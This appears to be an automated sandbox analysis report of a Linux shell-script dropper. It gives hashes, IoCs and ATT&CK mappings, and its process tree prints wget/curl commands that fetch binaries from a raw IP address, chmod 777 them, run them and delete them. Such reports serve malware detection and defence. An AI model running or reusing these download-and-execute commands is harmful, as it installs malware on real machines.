91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72

Analysis

max time kernel
25s
max time network
27s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/08/2026, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
Size 1KB
Sample260822-m39basgl6x
SHA256 91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72
MD5 7a8c8d13e86e5940896efb162736a5f9
SHA1 7f4950e721cba2e32c0ffc30de61832f2be654a2
SHA512 502fb41c647b37516735c910b064e56962c6f1cbac0350c252f3c01f0af0a83451809c7436398632f225fca83204df891fb8e1af2195614a73b214218fca2f9a
TLSH
T11631748E01241E712042CE8E77A2354DA5CDE5F7689FD7D498480DEA838839CF272F5E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
753	chmod
762	chmod
769	chmod
783	chmod
863	chmod
897	chmod
776	chmod
803	chmod
823	chmod
846	chmod
856	chmod
877	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/2300fc	754	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/ee01eb	763	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/dd3f2a	770	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/f3cea0	777	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/09e2ad	784	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/6b082a	805	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/d70981	824	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/9b42be	848	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/7076ef	857	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/a08a6d	864	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/cf73cf	878	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/904657	899	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6b082a	curl
File opened for modification	/tmp/7076ef	curl
File opened for modification	/tmp/2300fc	curl
File opened for modification	/tmp/ee01eb	curl
File opened for modification	/tmp/f3cea0	curl
File opened for modification	/tmp/d70981	curl
File opened for modification	/tmp/9b42be	curl
File opened for modification	/tmp/a08a6d	curl
File opened for modification	/tmp/cf73cf	curl
File opened for modification	/tmp/904657	curl
File opened for modification	/tmp/dd3f2a	curl
File opened for modification	/tmp/09e2ad	curl

/tmp/91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
1⤵
- Executes dropped EXE
PID:727
- /usr/bin/wget
  wget http://5.182.210.174/2300fc
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://5.182.210.174/2300fc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 2300fc
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/2300fc
  ./2300fc bc
  2⤵
  PID:754
- /bin/rm
  rm -rf 2300fc
  2⤵
  PID:756
- /bin/rm
  rm -rf 2300fc.1
  2⤵
  PID:757
- /usr/bin/wget
  wget http://5.182.210.174/ee01eb
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://5.182.210.174/ee01eb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 ee01eb
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/ee01eb
  ./ee01eb bc
  2⤵
  PID:763
- /bin/rm
  rm -rf ee01eb
  2⤵
  PID:765
- /bin/rm
  rm -rf ee01eb.1
  2⤵
  PID:766
- /usr/bin/wget
  wget http://5.182.210.174/dd3f2a
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://5.182.210.174/dd3f2a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod 777 dd3f2a
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/dd3f2a
  ./dd3f2a bc
  2⤵
  PID:770
- /bin/rm
  rm -rf dd3f2a
  2⤵
  PID:772
- /bin/rm
  rm -rf dd3f2a.1
  2⤵
  PID:773
- /usr/bin/wget
  wget http://5.182.210.174/f3cea0
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://5.182.210.174/f3cea0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod 777 f3cea0
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/f3cea0
  ./f3cea0 bc
  2⤵
  PID:777
- /bin/rm
  rm -rf f3cea0
  2⤵
  PID:779
- /bin/rm
  rm -rf f3cea0.1
  2⤵
  PID:780
- /usr/bin/wget
  wget http://5.182.210.174/09e2ad
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://5.182.210.174/09e2ad
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod 777 09e2ad
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/09e2ad
  ./09e2ad bc
  2⤵
  PID:784
- /bin/rm
  rm -rf 09e2ad
  2⤵
  PID:786
- /bin/rm
  rm -rf 09e2ad.1
  2⤵
  PID:788
- /usr/bin/wget
  wget http://5.182.210.174/6b082a
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://5.182.210.174/6b082a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 6b082a
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/6b082a
  ./6b082a bc
  2⤵
  PID:805
- /bin/rm
  rm -rf 6b082a
  2⤵
  PID:807
- /bin/rm
  rm -rf 6b082a.1
  2⤵
  PID:809
- /usr/bin/wget
  wget http://5.182.210.174/d70981
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://5.182.210.174/d70981
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 d70981
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/d70981
  ./d70981 bc
  2⤵
  PID:824
- /bin/rm
  rm -rf d70981
  2⤵
  PID:827
- /bin/rm
  rm -rf d70981.1
  2⤵
  PID:828
- /usr/bin/wget
  wget http://5.182.210.174/9b42be
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://5.182.210.174/9b42be
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 9b42be
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/9b42be
  ./9b42be bc
  2⤵
  PID:848
- /bin/rm
  rm -rf 9b42be
  2⤵
  PID:850
- /bin/rm
  rm -rf 9b42be.1
  2⤵
  PID:851
- /usr/bin/wget
  wget http://5.182.210.174/7076ef
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://5.182.210.174/7076ef
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/chmod
  chmod 777 7076ef
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/7076ef
  ./7076ef bc
  2⤵
  PID:857
- /bin/rm
  rm -rf 7076ef
  2⤵
  PID:859
- /bin/rm
  rm -rf 7076ef.1
  2⤵
  PID:860
- /usr/bin/wget
  wget http://5.182.210.174/a08a6d
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://5.182.210.174/a08a6d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod 777 a08a6d
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/a08a6d
  ./a08a6d bc
  2⤵
  PID:864
- /bin/rm
  rm -rf a08a6d
  2⤵
  PID:866
- /bin/rm
  rm -rf a08a6d.1
  2⤵
  PID:867
- /usr/bin/wget
  wget http://5.182.210.174/cf73cf
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://5.182.210.174/cf73cf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 cf73cf
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/cf73cf
  ./cf73cf bc
  2⤵
  PID:878
- /bin/rm
  rm -rf cf73cf
  2⤵
  PID:881
- /bin/rm
  rm -rf cf73cf.1
  2⤵
  PID:882
- /usr/bin/wget
  wget http://5.182.210.174/904657
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://5.182.210.174/904657
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 904657
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/904657
  ./904657 bc
  2⤵
  PID:899
- /bin/rm
  rm -rf 904657
  2⤵
  PID:902
- /bin/rm
  rm -rf 904657.1
  2⤵
  PID:903

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2300fc

Path /tmp/2300fc
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download